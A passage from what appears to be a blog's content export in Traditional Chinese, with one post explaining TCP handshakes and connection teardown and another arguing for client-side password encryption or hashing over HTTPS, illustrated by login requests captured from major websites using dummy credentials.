終止FIN： 用來釋放一個連接。當 FIN = 1 時，表明此報文段的發送發的數據已發送完畢，並要求釋放運輸連接。 TCP 三次握手建立連接 三次握手過程詳解 三次握手的原文是 three-way handshake，整個名詞的可以翻譯為：需要三個步驟才能建立握手/連接的機制。當然，三次握手也可以叫 three-message handshake，通過三條消息來建立的握手/連接。\n進行三次握手的主要作用就是為了確認雙方的接收能力和發送能力是否正常、指定自己的 初始化序列號 (Init Sequense Number，ISN ) 為後面的可靠性傳輸做準備。\n三次握手過程如下圖：\n回顧一下圖中字符的含義：\nSYN： 連接請求/接收報文段 seq： 發送的第一個字節的序號 ACK： 確認報文段 ack： 確認號。希望收到的下一個數據的第一個字節的序號 剛開始客戶端處於 Closed 的狀態，而服務端處於 Listen 狀態：\nCLOSED： 沒有任何連接狀態\nLISTEN： 偵聽來自遠方 TCP 端口的連接請求\n第一次握手： 客戶端向服務端發送一個 SYN 報文（SYN = 1），並指明客戶端的初始化序列號 ISN(x)，即圖中的 seq = x，表示本報文段所發送的數據的第一個字節的序號。此時客戶端處於 SYN_Send 狀態。 SYN-SENT： 在發送連接請求後等待匹配的連接請求\n第二次握手： 服務器收到客戶端的 SYN 報文之後，會發送 SYN 報文作為應答（SYN = 1），並且指定自己的初始化序列號 ISN(y)，即圖中的 seq = y。同時會把客戶端的 ISN + 1 作為確認號 ack 的值，表示已經收到了客戶端發來的的 SYN 報文，希望收到的下一個數據的第一個字節的序號是 x + 1，此時服務器處於 SYN_REVD 的狀態。 SYN-RECEIVED： 在收到和發送一個連接請求後等待對連接請求的確認\n第三次握手： 客戶端收到服務器端響應的 SYN 報文之後，會發送一個 ACK 報文，也是一樣把服務器的 ISN + 1 作為ack 的值，表示已經收到了服務端發來的的 SYN 報文，希望收到的下一個數據的第一個字節的序號是 y + 1，並指明此時客戶端的序列號 seq = x + 1（初始為 seq = x，所以第二個報文段要 +1），此時客戶端處於 Establised 狀態。 服務器收到ACK 報文之後，也處於 Establised 狀態，至此，雙方建立起了 TCP 連接。\nESTABLISHED： 代表一個打開的連接，數據可以傳送給用戶\n為什麼要三次握手 三次握手的目的是建立可靠的通信信道，說到通訊，簡單來說就是數據的發送與接收，而三次握手最主要的目的就是雙方確認自己與對方的發送與接收是正常的。\n只有經過三次握手才能確認雙發的收發功能都正常，缺一不可：\n第一次握手（客戶端發送SYN 報文給服務器，服務器接收該報文）：\n客戶端什麼都不能確認；服務器確認了對方發送正常，自己接收正常。 第二次握手（服務器響應SYN 報文給客戶端，客戶端接收該報文）：\n客戶端確認了：自己發送、接收正常，對方發送、接收正常；\n服務器確認了：對方發送正常，自己接收正常。 第三次握手（客戶端發送ACK 報文給服務器）：\n客戶端確認了：自己發送、接收正常，對方發送、接收正常；\n服務器確認了：自己發送、接收正常，對方發送、接收正常。 ISN (Initial Sequence Number) 是固定的嗎？ 三次握手的其中一個重要功能是客戶端和服務端交換 ISN(Initial Sequence Number)，以便讓對方知道接下來接收數據的時候如何按序列號組裝數據。\n當一端為建立連接而發送它的 SYN 時，它會為連接選擇一個初始序號。ISN 隨時間而變化，因此每個連接都將具有不同的 ISN。如果 ISN 是固定的，攻擊者很容易猜出後續的確認號，因此 ISN 是動態生成的。\n三次握手過程中可以攜帶數據嗎？ 第三次握手的時候，是可以攜帶數據的。但是，第一次、第二次握手絕對不可以攜帶數據。\n假如第一次握手可以攜帶數據的話，如果有人要惡意攻擊服務器，那他每次都在第一次握手中的 SYN 報文中放入大量的數據，然後瘋狂重複發 SYN 報文的話（因為攻擊者根本就不用管服務器的接收、發送能力是否正常，它就是要攻擊你），這會讓服務器花費很多時間、內存空間來接收這些報文。\n⭐ 簡單的記憶就是，請求連接/接收即 SYN = 1 的時候不能攜帶數據\n而對於第三次的話，此時客戶端已經處於 ESTABLISHED 狀態。對於客戶端來說，他已經建立起連接了，並且也已經知道服務器的接收、發送能力是正常的了，所以當然能正常發送/攜帶數據了。\n半連接隊列 服務器第一次收到客戶端的 SYN 之後，就會處於 SYN_RCVD 狀態，此時雙方還沒有完全建立其連接，服務器會把這種狀態下的請求連接放在一個隊列裡，我們把這種隊列稱之為半連接隊列。\n當然還有一個全連接隊列，完成三次握手後建立起的連接就會放在全連接隊列中。如果隊列滿了就有可能會出現丟包現象。\nSYN 洪氾攻擊 SYN 攻擊就是 Client 在短時間內偽造大量不存在的 IP 地址，並向 Server 不斷地發送 SYN 包，Server 則回覆確認包，並等待 Client 確認，由於源地址不存在，因此 Server 需要不斷重發直至超時，這些偽造的 SYN 包將長時間佔用半連接隊列，導致正常的 SYN 請求因為隊列滿而被丟棄，從而引起網絡擁塞甚至系統癱瘓。\n如果第三次握手丟失了，客戶端服務端會如何處理？ 服務器發送完 SYN-ACK 包，如果未收到客戶端響應的確認包，也即第三次握手丟失。那麼服務器就會進行首次重傳，若等待一段時間仍未收到客戶確認包，就進行第二次重傳。如果重傳次數超過系統規定的最大重傳次數，則係統將該連接信息從半連接隊列中刪除。\n注意，每次重傳等待的時間不一定相同，一般會是指數增長，例如間隔時間為 1s、2s、4s、8s\u0026hellip;\nTCP 四次揮手釋放連接 四次揮手過程詳解 建立一個 TCP 連接需要三次握手，而終止一個 TCP 連接要經過四次揮手（也有將四次揮手叫做四次握手的）。這是由於 TCP 的半關閉（half-close）特性造成的，TCP 提供了連接的一端在結束它的發送後還能接收來自另一端數據的能力。\nTCP 連接的釋放需要發送四個包（執行四個步驟），因此稱為四次揮手(Four-way handshake)，客戶端或服務端均可主動發起揮手動作。\n回顧一下上圖中符號的意思：\nFIN： 連接終止位 seq： 發送的第一個字節的序號 ACK： 確認報文段 ack： 確認號。希望收到的下一個數據的第一個字節的序號 剛開始雙方都處於 ESTABLISHED 狀態，假設是客戶端先發起關閉請求。四次揮手的過程如下：\n第一次揮手： 客戶端發送一個 FIN 報文（請求連接終止：FIN = 1），報文中會指定一個序列號 seq = u。並停止再發送數據，主動關閉 TCP 連接。此時客戶端處於 FIN_WAIT1 狀態，等待服務端的確認。 FIN-WAIT-1： 等待遠程 TCP 的連接中斷請求，或先前的連接中斷請求的確認\n第二次揮手： 服務端收到 FIN 之後，會發送 ACK 報文，且把客戶端的序號值 +1 作為 ACK 報文的序列號值，表明已經收到客戶端的報文了，此時服務端處於 CLOSE_WAIT 狀態。 CLOSE-WAIT： 等待從本地用戶發來的連接中斷請求\n此時的 TCP 處於半關閉狀態，客戶端到服務端的連接釋放。客戶端收到服務端的確認後，進入 FIN_WAIT2（終止等待2）狀態，等待服務端發出的連接釋放報文段。\nFIN-WAIT-2： 從遠程TCP等待連接中斷請求\n第三次揮手： 如果服務端也想斷開連接了（沒有要向客戶端發出的數據），和客戶端的第一次揮手一樣，發送 FIN 報文，且指定一個序列號。此時服務端處於 LAST_ACK 的狀態，等待客戶端的確認。 LAST-ACK： 等待原來發向遠程TCP的連接中斷請求的確認\n第四次揮手： 客戶端收到 FIN 之後，一樣發送一個 ACK 報文作為應答（ack = w+1），且把服務端的序列值 +1 作為自己 ACK 報文的序號值（seq=u+1），此時客戶端處於 TIME_WAIT（時間等待）狀態。 TIME-WAIT： 等待足夠的時間以確保遠程TCP接收到連接中斷請求的確認\n🚨 注意！這個時候由服務端到客戶端的 TCP 連接並未釋放掉，需要經過時間等待計時器設置的時間 2MSL（一個報文的來回時間） 後才會進入 CLOSED 狀態（這樣做的目的是確保服務端收到自己的 ACK 報文。如果服務端在規定時間內沒有收到客戶端發來的 ACK 報文的話，服務端會重新發送 FIN 報文給客戶端，客戶端再次收到 FIN 報文之後，就知道之前的 ACK 報文丟失了，然後再次發送 ACK 報文給服務端）。服務端收到 ACK 報文之後，就關閉連接了，處於 CLOSED 狀態。\n為什麼要四次揮手 由於 TCP 的半關閉（half-close）特性，TCP 提供了連接的一端在結束它的發送後還能接收來自另一端數據的能力。\n任何一方都可以在數據傳送結束後發出連接釋放的通知，待對方確認後進入半關閉狀態。當另一方也沒有數據再發送的時候，則發出連接釋放通知，對方確認後就完全關閉了 TCP 連接。\n通俗的來說，兩次握手就可以釋放一端到另一端的 TCP 連接，完全釋放連接一共需要四次握手。\n舉個例子： A 和 B 打電話，通話即將結束後，A 說\u0026quot;我沒啥要說的了\u0026quot;，B 回答\u0026quot;我知道了\u0026quot;，於是 A 向 B 的連接釋放了。但是 B 可能還會有要說的話，於是 B 可能又巴拉巴拉說了一通，最後 B 說\u0026quot;我說完了\u0026quot;，A 回答\u0026quot;知道了\u0026quot;，於是 B 向 A 的連接釋放了，這樣整個通話就結束了。\n","date":"2023-01-28T00:00:00Z","image":"https://live.staticflickr.com/65535/52676765170_50b661b18d_o.jpg","permalink":"https://blog.wayne-project.com/2023-01-28/tcp-three-way-four-way-handshake/","title":"關於 TCP 的三次握手與四次揮手，滿分的回答在此！"},{"content":" 參考網站\n參考網站\n參考網站\n參考網站\n最近有人在臉書前端交流社群發了一則貼文，內容是他看到了一個問題：請問登入api傳賬號、密碼json明碼會有問題嗎?，想知道大家對這個問題的看法。\n而底下的回答大部份都是覺得「有用 HTTPS 就好了，沒必要額外再實作一層加密，沒有什麼太大的意義」.\n老實說我以前也是這樣認為的，而且過去在社群中就有出現過類似的討論。我那時候想說都已經有 HTTPS 了，而 HTTPS 本身的目的就是為了保障傳輸的安全，為什麼要自己再做加密？\n但這一兩年接觸資安以後，我的想法有了改變，我認為前端在傳輸前把密碼加密，是有其意義的，而接下來我會詳細說明我的理由。\n定義問題 在進入正題之前，我想把問題定義得更明確一點，免得出現一堆張飛打岳飛，拿兩個完全不同的情境來比較的狀況。在原文底下，就有不少留言在討論的是不同的問題，把問題先定義清楚滿重要的。\n首先，我們要比較的對象是：\n在使用 HTTPS 的前提下，打登入 API 時不做任何事直接傳送密碼的明文 在使用 HTTPS 的前提下，打登入 API 時先把密碼加密，再傳送到 server 這邊需要注意的是「兩個狀況都是 HTTPS」，所以如果你想講的是「沒必要自己發明新技術」或是「自己發明新的加密方式不會比較安全」等等，在這個前提下全都不適用。\n因為傳輸層還是靠 HTTPS 在傳輸，所以在這個階段並沒有自己發明新的方式，我只是在應用層自己把傳輸的資料額外加密一層而已。\n再來，先不考慮成本這件事，純粹只從技術的角度去看可能有哪些優缺點(成本相關的最後再來討論)。\n最後呢，我這邊的情境是「加密密碼」而非 hash，這是因為我覺得 hash 的狀況比較複雜，我自己想先用加密來舉例，而且這個加密是「非對稱式加密」。\n也就是我們可以想像已經有一把 public key 存在於 client 端(當然，每個人都可以拿得到)，在送出 request 以前，會先使用 JavaScript 把密碼用 public key 加密以後再送出，而 server 使用 private key 解密，拿到密碼以後 hash 過再存入資料庫中。\n綜合以上，這篇想處理的問題是：「已經使用了 HTTPS，在打登入 API 以前先把密碼加密過或是不做任何處理，這兩者的差別在哪？」\n而我們可以把回答分成兩個部分：\n假設 HTTPS 被破解了，是不安全的，差在哪？ 假設 HTTPS 是安全的，差在哪？ 假設 HTTPS 不安全，差在哪？ 首先，可以先想一下怎樣的狀況會造成 HTTPS 不安全，攻擊者掌握了系統的哪些部分？\n底下簡單分為四種狀況討論：\n攻擊者掌控整台電腦，信任惡意憑證 攻擊者成功執行了中間人攻擊 攻擊者可以在網路層監聽 request 並使用漏洞取得明文 攻擊者直接針對 HTTPS server 進行攻擊 攻擊者掌控整台電腦，信任惡意憑證 若是這種類型的狀況，那當然是有沒有加密都沒差，因為攻擊者都有其他更好的手段去取得你的密碼。\n攻擊者成功執行了中間人攻擊 那如果是「攻擊者成功執行了中間人攻擊（Man-In-The-Middle）」呢？你的電腦沒事，只是封包在傳輸的過程中被中間人攻擊。\n在這樣的前提底下，沒加密的情形就能直接被獲取密碼，而有加密的情形攻擊者只能獲取到加密過的密文而非明文。但需要注意的是既然是叫中間人攻擊，那攻擊者除了監聽你的 request 以外，也能傳送偽造的 response 給你，把前端用來加密密碼的部分換掉。\n因此無論密碼是否加密，攻擊者都可以拿到明文，只是如果有加密的話，攻擊者取得密碼的成本較高（需要先找到在哪邊加密的，然後把那段改掉）。\n攻擊者可以在網路層監聽 request 並使用漏洞取得明文 這個狀況跟上一個的不同之處在於這個只能讀，不能寫。若是有辦法解密 request 的封包，就能夠看到明文。\n所以如果有把密碼先加密，攻擊者就無法取得密碼的明文。\n這邊需要注意的是儘管無法取得明文，攻擊者依然可以透過重送請求來登入你的帳號（先假設沒有其他機制），所以你帳號還是被盜了，只是攻擊者不知道你的密碼明文。\n這有差嗎？有！\n假設他知道了你的密碼明文，就可以拿你的這組帳號密碼去各個服務都試試看，若是你其他網站也用同一組帳號密碼，就會跟著淪陷（俗稱的撞庫攻擊）。\n因此在這個狀況底下，加密密碼的安全性顯然是更高的。\n此時你可能會想問的問題是：「那在什麼狀況下攻擊者能夠取得 HTTPS 的明文？真的有可能嗎？」\n這邊有一份美國衛生及公共服務部 HHS 所做的簡報：SSL/TLS Vulnerabilities，裡面有記錄一些 SSL/TLS 曾經有過的漏洞，所以取得 HTTPS 的明文確實是有可能的。\n不過光是知道「有可能」是不夠的，應該問的是「機率高嗎？」，在討論風險的時候，通常也會根據風險的高低以及嚴重程度來決定該怎麼處理這個風險。\n答案是「機率很低」，簡報裡的漏洞最近的已經是 2017 年的事情了，而且是使用一些舊的、有問題的加密演算法，除此之外還需要符合不少其他條件，才能執行攻擊，所以我認為機率確實是很低的。\n以 2016 年發表的 DROWN(Decrypting RSA with Obsolete and Weakened eNcryption) 來說，Server 要支援 SSLv2，而攻擊者要能抓到加密過的 TLS connection，符合這些條件以後，進行一大堆運算後就可以解開 900 個 connection 中的 1 個，而運算成本在當時是 440 美金，約 13k 台幣。\n總之呢，針對這個狀況，我們可以說：\n假設攻擊者可以取得 HTTPS 的明文，那確實自己在應用層加密會更安全，但要符合這個假設的成本很高，發生機率很低\n攻擊者直接針對 HTTPS server 進行攻擊 這個分類我指的是在 2014 年發生過的 Heartbleed 漏洞，攻擊者可以藉由 OpenSSL 的漏洞讀取到 server 的記憶體。\n這個狀況跟上一個滿像的，如果有在 client 端先加密過密碼，那攻擊者在 server 上讀到的就是加密過後的，不知道密碼明文是什麼。\n所以結論跟上個一樣，就是加密密碼會更安全。\n中場總結 剛剛我們討論了幾種「HTTPS 變得不安全」的狀況，從以往發生過的案例可以得知「HTTPS 變得不安全」是有可能的。若是攻擊者能夠讀到 HTTPS 傳輸的明文，那在應用層將密碼加密，就能防止攻擊者取得密碼的明文，因此會比沒有加密來得更安全。\n如果要講得更詳細，可以從兩個維度去切入，一個是嚴重性（severity），另一個是可能性（possibility）。\n以嚴重性來說，不管有沒有加密密碼，只要攻擊者有辦法拿到 request 的內容，你的帳號就已經淪陷了，而有沒有加密唯一的差別只有攻擊者是否能取得明文密碼，有的話就可以執行撞庫攻擊，拿密碼去試更多其他的網站。\n而可能性就是「HTTPS 的明文被拿到」這件事的可能性，從過往的經歷以及研究來看，雖然是有可能的，但在 2023 年的今天，機率是很低的。\n因此我們現階段的結論應該是：\n攻擊者若是可以繞過 HTTPS 拿到明文的 request，那在應用層將密碼加密，確實會比較安全，但要注意的是要達成這個前提非常困難，發生的機率極低。\n假設 HTTPS 是安全的 接下來我們討論第二種狀況，那就是假設 HTTPS 是安全的，沒有任何人可以從中間看到明文的內容，這應該也是留言區中大多數人假設的前提。\n在這種狀況下，會有哪些風險呢？\n有一個現實生活中會發生，而且也確實發生過的風險，那就是 logging。\n身為前端工程師，在前端加裝一些 error tracking 的服務是很合理的事情，若是我們直接實作一個「只要伺服器回傳 5xx，就把 request 記錄起來」的機制，如果好巧不巧哪天登入的 API 出現這個狀況，你就可以在 log 裡面看到使用者的明文密碼。\n而且不只前端，後端也可能有類似的機制，碰到一些問題就把 request 整個寫到 log 檔去，方便以後查看以及 debug，一不小心密碼就可能被寫進去。\n在這種狀況下，在 client 端先把密碼加密顯然是有好處的，那就是在這些錯誤處理的 log 中，被記錄下來的密碼會是密文，除非你有密鑰，否則你是不會知道使用者的密碼的。\n我在網路上找到一篇跟我論點一樣的文章：The case for client-side hashing: logging passwords by mistake，裡面有附上很多參考連結，都是以前各大公司不小心把密碼的明文記錄下來的案例。\n然後有個小地方稍微講一下，上面這篇做的是「在 client 端 hash」，跟我這篇一開始設定的「在 client 端做非對稱式加密」有點不同，hash 會更安全一點，確保在 server 真的沒人知道你的密碼明文是什麼。\n總之呢，在 client 端先把密碼加密或是 hash，可以避免在日誌中不小心出現使用者的密碼明文，這個顯然是個額外的優點。\n加密還是 hash？ 文章開頭我有提到 hash 的狀況有些複雜，所以我先把情境設定在「對密碼做非對稱式加密」再傳輸，因為對上面我舉的那些例子而言，這兩種情境的差異不大。\n舉例來說，HTTPS 被拿到明文內容，無論你對密碼做了非對稱式加密還是雜湊，在攻擊者無法取得伺服器端密鑰的前提之下，都是拿不到明文密碼的。\n那為什麼 hash 的狀況有些複雜呢？\n假設我們在前端先把密碼 hash 過後再傳到後端，那後端是要直接存進去資料庫嗎？如果直接存進去資料庫，哪天資料庫的內容曝光，攻擊者就拿到這些 hash 過的密碼了。\n通常在有加鹽以及雜湊演算法夠強的前提之下，被拿到 hash 的密碼還是能保證一定的安全性，可是在這種情況下，反而變得很不安全。\n因為前端傳給後端的內容已經是 hash 過的了，所以攻擊者可以直接拿 hash 過的密碼進行登入，根本不用知道明文是什麼。雖然保護了明文，但失去了原本雜湊的安全性。\n因此如果要做 client side hashing，server side 收到後也要再做一次。如此一來，就算資料庫被偷走，攻擊者也沒辦法利用資料庫中的 hash 直接登入。\n有些人可能跟我一樣好奇：「做兩次 hash 不會更不安全嗎？」，我們可以看一下 Google 在 Modern password security for system designers 裡面怎麼說：\nHave the client computer hash the password using a cryptographically secure algorithm and a unique salt provided by the server. When the password is received by the server, hash it again with a different salt that is unknown to the client. Be sure to store both salts securely. If you are using a modern and secure hashing algorithm, repeated hashing does not reduce entropy.\n看起來是還好，問題不大。\n總之呢，看起來最安全的但也更複雜的解法就是 client side 先 hash 一次，然後丟到 server 的時候再 hash 一次存進資料庫，如此一來就可以保證：\nHTTPS 因為各種原因失效時，攻擊者無法取得明文密碼 在 Server 端，沒有任何人知道使用者的明文密碼 明文密碼不會因為人為失誤被記錄到 log 中 那如果真的比較好用，為什麼沒人在用？\n現實生活中，到底有誰在前端做 hash 或是加密？ 當我一開始碰到這個問題，講出「怎麼沒人在用」的時候，其實只是「我自己沒碰過有人這樣用」，但實際上我並不知道那些知名網站的登入是怎麼做的。\n因此呢，我就直接去看了幾個知名網站的登入機制，我們一起來看一下結果，為了方便觀看，我把跟帳號密碼無關的內容都拿掉了。\n我在測試的時候，基本上都是用 test 或是 test@test.com 搭配簡單的密碼如 1234 在測試，然後觀察 request 的內容。\n先來看一下 FAANG 吧！\nFacebook API 網址：https://zh-tw.facebook.com/login\n請求內容：\n1 2 email=test@test.com encpass=#PWD_BROWSER:5:1673256089:AbJQAJUvZZNvh2dZbeDqdu9dp7HWwyHOl3+0sCGjiHMMjvYdxJokpdHE/O+E5LIbnakRmDWQfV40ZaB31MaNXFYo1b+RI+LHh6MAdDPa4PJ+BesDp4u8B4F4diVQ+q7idbEhT5wTNaU= 沒想到 Facebook 就是有實作前端加密的網站！後面那段 Base64 並不是直接把密碼 Base64，而是把加密過的密碼做 Base64，解出來是這樣：\\x01²P\\x00\\x95/e\\x93o\\x87gYmàêvï]§±ÖÃ!Î\\x97\\x7F´°!£\\x88s\\f\\x8Eö\\x1DÄ\\x9A$¥ÑÄüï\\x84ä²\\x1B\\x9D©\\x11\\x985\\x90}^4e wÔÆ\\x8D\\\\V(Õ¿\\x91#âÇ\\x87£\\x00t3Úàò~\\x05ë\\x03§\\x8B¼\\x07\\x81xv%Pú®âu±!O\\x9C\\x135¥\nAmazon API 網址：https://www.amazon.com/ap/signin\n請求內容：\n1 email=test@test.com\u0026amp;password=1234 Apple API 網址：https://idmsa.apple.com/appleauth/auth/signin\n請求內容：\n1 {\u0026#34;accountName\u0026#34;:\u0026#34;test@test.com\u0026#34;,\u0026#34;password\u0026#34;:\u0026#34;1234\u0026#34;} Netflix API 網址：https://www.netflix.com/tw/login\n請求內容：\n1 userLoginId=test@test.com\u0026amp;password=1234 Google API 網址：https://accounts.google.com/v3/signin/_/AccountsSignInUi/data/batchexecute.\n請求內容：\n1 f.req=[[[\u0026#34;14hajb\u0026#34;,\u0026#34;[1,1,null,[1,null,null,null,[\\\u0026#34;1234\\\u0026#34;,null,true]]]] 看來 FAANG 裡面，只有 Facebook 是有實作的。\n接著我突然好奇起其他常用服務的登入有沒有做，底下貼結果。\nGitHub API 網址：https://github.com/session\n請求內容：\n1 login=test@test.com\u0026amp;password=1234 Microsoft API 網址：https://login.live.com/ppsecure/post.srf\n請求內容：\n1 login=test@test.com\u0026amp;passwd=1234 IBM cloud API 網址：https://cloud.ibm.com/login/doLogin\n請求內容：\n1 {\u0026#34;username\u0026#34;:\u0026#34;test@test.com\u0026#34;,\u0026#34;password\u0026#34;:\u0026#34;1234\u0026#34;} 看來有實作的是少數，那資安廠商呢？資安廠商自己有做嗎？\n資安廠商\nKaspersky API 網址：https://eu.uis.kaspersky.com/v3/logon/proceed\n請求內容：\n1 {\u0026#34;login\u0026#34;:\u0026#34;test@test.com\u0026#34;,\u0026#34;password\u0026#34;:\u0026#34;12345678\u0026#34;} 趨勢 API 網址：https://sso1.trendmicro.com/api/usersigninauth\n請求內容：\n1 {\u0026#34;email\u0026#34;:\u0026#34;test@test.com\u0026#34;,\u0026#34;password\u0026#34;:\u0026#34;12345678\u0026#34;} Tenable API 網址：https://cloud.tenable.com/session\n請求內容：\n1 {\u0026#34;username\u0026#34;:\u0026#34;test\u0026#34;,\u0026#34;password\u0026#34;:\u0026#34;1234\u0026#34;} Proton 這個應該不算資安廠商，但突然很好奇強調隱私的 Proton 是怎麼做的，一看發現好像很複雜。\n在登入的時候會先把 username 送過去，拿到一些看起來是 key 的東西。\nAPI 網址：https://account.proton.me/api/auth/info\n請求內容：\n1 {\u0026#34;Username\u0026#34;:\u0026#34;test@test.com\u0026#34;} 1 2 3 4 5 6 7 8 { \u0026#34;Code\u0026#34;:1000, \u0026#34;Modulus\u0026#34;:\u0026#34;-----BEGIN PGP SIGNED MESSAGE-----\\nHash: SHA256\\n\\nu9K5yr97L9VV2ijOSI62tJcewUiRhQa8qJa24baNpGyw0lf3JLiF4fxUHqTErwF9UdoxE0z4Kb147naphylBFddyKsjhzHNcxk2rBw9haiPxD69BrVYm0n+LVlPqmjXFF7btr1H7oqHGX4b4Dy9omL/KaZz/Dco2NEhw0UBhEZbTAs6Ch01ur9XLbSOI7yb6MRsqCehfy82gDTdbPtXvqQsQjg5XoC2Ib2qTYFaU/24mq/gOaMbVuAGX0hBYzr5NpN9ol2XCdHOLg28Xe90+kisg39VV04axy7Ndvh489dC1CxjcWSSpXd6cPJyOn/HH9aPeTZeucBllRGbPgwR6/w==\\n-----BEGIN PGP SIGNATURE-----\\nVersion: ProtonMail\\nComment: https://protonmail.com\\n\\nwl4EARYIABAFAlwB1j0JEDUFhcTpUY8mAAD1GwEAoC91QCSfXPEuWM13NZvy\\nvL9NQIABuSrVOvgJwMhUTnUBAPb4zbIdTYFOQNrPLvonJt2mmRNy4lGcW7uN\\n5yHzJ18J\\n=Oykn\\n-----END PGP SIGNATURE-----\\n\u0026#34;, \u0026#34;ServerEphemeral\u0026#34;:\u0026#34;DY6eRYM1bqYZZ5jzZFdWv88tKYP2PnS0y4A+f7/eqMXj8wB2VefV2kfIDrZ5AorWfDzBq4wMtNG2k5dzbT2qWppzpvltrSl2Nm4i8eWIRVxXWHl/46dGuPXFHUcXBNMP3XEQvft0YEbHOPO9Es0RZRaObV5XPFyx6kzOJxXc1tIt4PfbhODMfsAoy/yxt6eLN3HUiORCBOvzsH2sfG99Gx1YSAe3GL6g/K+bdg59eglueXRESoB0/VFRsvQevi9nVXx/JZNTG0U4BBUOlMjpYYMgEP6eQgZZ/09ZPYD3a2tW65mSnNt6lSDfwiKj02UuDqymTvj7mYm44T0SuAocwg==\u0026#34;, \u0026#34;Version\u0026#34;:4, \u0026#34;Salt\u0026#34;:\u0026#34;dI7OcD+K4rGPBA==\u0026#34;, \u0026#34;SRPSession\u0026#34;:\u0026#34;3fa6224285409b6af07c811971e05341\u0026#34; } 接著輸入密碼登入時，會送出如下的 request，看起來也很複雜：\n1 2 3 4 5 6 7 8 9 { \u0026#34;ClientProof\u0026#34;:\u0026#34;I9Nfd0Nd3OzODf2nt9zLxFHWogEwfRje8zjoeZnblyLfyzz23uXTjJ4qgRFomjIEEtZrlM1jTQa4wRIMGIIV7E6pMqq8c6wcc2tegP4Xt76S0EbnVtE1F9i0Wj46aCPUM0Mha3Zmgi9LKerrGlaftr2FBedjPFT9rPrbLqRQcFNMD33tn69gD/p28q4RAr3/7d/tz7TYhytD5oxCAUwrkqiZOi0kg//2mUJ9YNT2nWcgqUERoaU51NbNMcaPnMteEe1PlIJdiQbvNa5K07u8rk7itpBrGW2FP26bREp0UMTzNYM5HcDDkmp4dp9GoBjFJL9n0THUdt/oRRJ/Enj5WQ==\u0026#34;, \u0026#34;ClientEphemeral\u0026#34;:\u0026#34;D013N7FXYHylqMeWa6ctJIv3J4uF1hqodyYfw6O+Sj7MZOIB+wksfgk/nkXCmRxQhuSYwqwMJIpyFD3MEolOZAHMU2n6HQlxe9A4KbrE4gk3UiGwfgcZDmFejTmMMxfWhf4zO2Z1fBbohreqwwN0mz3AqqsfE5dsDh3LEfkiJB449YGZfHeUHyIzS1jTmnx/8l6uVSKwJDCJelVFYKMXrxVt0ltcGRoYD92MUj82kR0am+BN4+djHyYYXuwuIYArnTW4kDP3T2yCIAMVgZnFaUCc2gfynt40mQP4q87jmMELOl8TDIDo5iKyH4gJc/470qIuIyj4ffVLiZ7t8S+kcw==\u0026#34;, \u0026#34;SRPSession\u0026#34;:\u0026#34;3fa6224285409b6af07c811971e05341\u0026#34;, \u0026#34;Username\u0026#34;:\u0026#34;test@test.com\u0026#34;, \u0026#34;Payload\u0026#34;:{ \u0026#34;qcA_CRYU6gSyHWdn\u0026#34;:\u0026#34;c6UZSKPo4Sfm/3+DvQN72TTxyj+/TplKT9edDiUI5wMfGUsoJs9FGerOtkoW8T49r7KOvqHkzS2+M2v8ra7J9l5kSf5jgC9ZvgZ8Ja5Xgg02nxgAABydOirGLoL4htFsYVtwLrNg8NeSEanLwYLCVaSqkjANRJks0eaKpUOd8xRhCFtUH/GCbyg27oZfzDsqKXemKprOUsOh42NTqzEmruAkxs2x8mUsLy/vXptVAdaiJLrsSRqD0YBGjvOp4W2/0g6V2zfedJpJEzVwtSi1vXTC5bwxmEJlYdV9AiQECogAAJFxLQi7JjtmgFe4tNcv97JD0B8giZ6XS35swjz0vz0mOjVBUwmiDa8n54Y5kBaAoZe5pijdp2S4SOcRAknDIcD1nf0v7oSMOE9WtH/sa+XI1D2s5lFKo/iInf7r5R9src2hHFoy0b2XT0oCfLPwFX87yjaKbf7bbkjByx/3dOgzEliAkS6nHK+fmeDDVM4EoZqVSKZHLg3QTcg4DKaICyDsotALr2UqI/ARzkX4yhAXz5xHFaxl6hWAKLJPJcgk6il6oX0s0PCBNSY0Fi3vbQvXD4WalUx+LBNto6CUqeAIzVuAh8sCubzufoSORypE5WqfnuJzAlZ9sMEjaQycuRi497aV3jmjgx53UwO0OiZGxDTEMFBcov4P0g1blZ4vxmULhZU0RfdP31udLr6GTCAB90CM6Vk9w9CsYM+hmo3+JpEAtIVgLVVqcPikTbV+yaOJ1RknxBf3g06kTl0LQ+zBV6pG2rFVi8G4XT9L4FsIgxTNsl/ryzs8vJU7K+HvyE1Lp2pAXrfcju7TAIqK/FOXvp1c8Ay9O6d4fmd/PZalnRDv5mQ6Gmd6JSNzNh6i6AibBuF13w3OBaulY3FGNU/cH/AXLBIqjSzf/OySwkKkC9HBurSs3D0zqcH9BwUpmPEL8jbc8yPE+hPAim+tDo1BXCQNClxgGLaI6FXkuCiQ4AHiKsq0xs5b3WAFzcvBv1rc003RWxRegH/2teIooKU9w1kDPQRaK8/rIYe8u+BlBeZq4OwCXxx56JHfmTxtJwBi95KqsWzLGtY3ILcb+/XkzSRmE2TWbkW1IXzRsl8F6NSJj7JnHA3UrQf4hxuwbaYxpKJrcHuHc8e1wxqXrUSKooCOUxwSBgxvLLT37eaByNTxpfWomxIsH671wuydnmMedWyNIqyaMtxBORuiWUiG4jbMC2BjrVptXJ7VWigf3Vy5OQlMOyTx8tLWi1qZODYyywMBAvHYQlFfSqmIrm4y4dmK/srJE/+daEnNS+kWF48Jm/rQORO5AUwqWL+Lefg9pchcL1BnHOANcviO8pAkxLo8TiK7VLKI5/xUsZQoQSlhRt27zMF+sIv+exY375HApiY+a1VQ6OqE4Nvba7O8ETLoLFg4a8Aj+W8erXFHW5F0vVIRphAve9orM4QYnAmOigFAiLb0Pxx124wUjFR9s5oP98hAtNL/t+uGAXrb0oxiCfyHb9wa2Qb0x6o9FpuBIc5ZXId+cEXEvOdqhnUQ7ZuOi/fX81hlqgUaiD/A6P+zjAcREXdktd+hrhSXwCIKSBkp/mNymnalQKJkLaNVT+W2sOWqXxTSTIytCQx36xABcj1BXRApntob6Qvche8QJLTjzr9bDpn+Mo59N9PSU51DPIj5Avre6ChTHEQvjz9s1IM2XroBX/KFBnPj33aYQZyov4uxrVXxic+fiY+fLMF8x1ut/eNWeQU6fn+rU5PEGQ9bbAsjVBZYA5H93ROhO5lnSxoEk5PHkgQ9WpxueckPjJIUGAs+O8QMRFicccfKjhNIc32rXTqbVqLyoz62riDn8Y18MUBoeI8ORyqZOKEEBFsi5dwqoq8t82NFdx5LFjsLdk4RmMXZ2uygNLk8gH2Yyfu3iOQS2bKtNCW42Xmo66Xu5kt8NwAneYQK0mTn6HUv94K10J4hY+Q=\u0026#34; } } 補充：經討論串有人提醒後發現這是一個叫做 